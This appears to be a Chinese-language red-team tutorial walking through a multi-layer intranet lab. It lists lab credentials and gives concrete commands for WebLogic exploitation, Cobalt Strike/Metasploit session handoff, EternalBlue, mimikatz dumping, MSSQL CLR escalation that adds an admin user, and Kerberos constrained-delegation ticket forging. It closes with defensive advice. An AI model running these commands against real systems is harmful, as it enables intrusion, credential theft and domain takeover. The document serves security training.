红队——多层内网环境渗透测试
字数 1727 2025-08-11 22:57:16
多层内网环境渗透测试教学文档
环境概述
网络拓扑结构
- DMZ区:IP段 192.168.254.1/24,可连通外网
- 第二层网络:IP段 10.10.20.1/24,通过DMZ区靶机连接
- 第三层网络:IP段 10.10.10.1/24,包含域控机器与域内服务器
靶机信息
域控服务器
- 系统:Windows Server 2008
- 服务:IIS + Exchange 2013
- 主机名:owa
- 目录还原密码:redteam!@#45
- 域管理员:administrator:QWEasd123 / Admin12345
域内服务器
- SQL Server 2008(配置了非约束委派)
- 主机名:sqlserver-2008
- 本地管理员:Administrator:Admin12345
- 域账户:redteam\sqlserver:Server12345(配置了约束委派)
- MSSQL:sa:sa
域内个人PC
- 系统:Windows 7
- 主机名:work-7
- 本地管理员:john:admin!@#45
- 域账户:redteam\saul:admin!@#45
单机服务器
- 系统:Windows server r2 + weblogic
- 主机名:weblogic
- 本地管理员:Administrator:Admin12345
- weblogic账号:weblogic:weblogic123
- 访问地址:http://ip:7001
其他域用户
- redteam\mail:admin!@#45
- redteam\adduser:Add12345
- redteam\saulgoodman:Saul12345(配置了非约束委派)
- redteam\gu:Gu12345
- redteam\apt404:Apt12345
漏洞利用点
- GPP漏洞
- MS14-068
- CVE-2020-1472
- Exchange各种漏洞
- 非约束委派
- 约束委派
- CVE-2019-1388
- CVE-2019-0708
渗透测试步骤
第一阶段:单机服务器渗透
信息收集
nmap -p- -Pn -T4 192.168.254.112 -A
发现开放7001端口(weblogic服务)
GetShell
- 使用weblogicscan扫描漏洞
- 使用weblogic-GUI进行注入(administrator权限)
- 注入内存马,冰蝎上线
第二阶段:域内个人PC机器
信息收集
-
检查是否为多网卡机器:
ipconfig /all -
查看进程是否存在杀软:
tasklist /SVC -
上线CS(Cobalt Strike):
- 通过冰蝎上传exe后门并执行
-
抓取密码和hash:
hashdump得到Administrator的hash:ccef208c6485269c20db2cad21734fe7
解密后得到密码:Admin12345 -
检查是否在域内:
net config workstation net time /domain
横向移动
-
使用fscan进行网段扫描:
fscan64.exe -h 10.10.20.0/24 -
CS和MSF联动方法一:CS移交会话到MSF
- CS创建foreign监听器
- MSF设置监听:
use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 0.0.0.0 set lport 8888 run - CS上执行Spawn选择派生会话
-
添加路由:
run get_local_subnets run autoroute -s 10.10.20.0/24 run autoroute -p -
使用MS17-010攻击:
search ms17-010 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set lport 11111 set rhosts 10.10.20.7 run
第三阶段:域内服务器Mssql
-
使用mimikatz抓取密码:
load mimikatz creds_all -
发现新网段,添加路由:
run get_local_subnets run autoroute -s 10.10.10.0/24 run autoroute -p -
使用AdFind工具扫描委派配置:
# 查询配置了非约束委派的主机 AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName # 查询配置了约束委派的主机 AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto -
SQL Server提权:
- 使用SharpSQLTools工具:
SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami - CLR组件提权:
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami - 添加管理员用户:
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add" SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add"
- 使用SharpSQLTools工具:
第四阶段:域控接管
- 使用约束委派攻击:
- 利用kekeo请求TGT:
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" - 获取域机器的ST:
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" - 使用mimikatz进行PTT:
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
- 利用kekeo请求TGT:
技术要点总结
- Weblogic漏洞利用:通过GUI工具注入内存马获取初始立足点
- 横向移动技术:
- CS与MSF联动
- MS17-010漏洞利用
- 多网卡环境下的路由添加
- 权限提升技术:
- MSSQL CLR组件提权
- 约束委派攻击
- 域渗透技术:
- AdFind工具查询委派配置
- kekeo和mimikatz进行票据传递攻击
- 密码破解:通过hashdump获取hash并在线解密
防御建议
- 及时修补已知漏洞(MS17-010、CVE-2020-1472等)
- 合理配置委派权限,避免过度授权
- 加强服务账户密码强度
- 禁用或限制xp_cmdshell等危险存储过程
- 监控异常票据请求和PTT攻击行为
- 实施网络分段,限制横向移动路径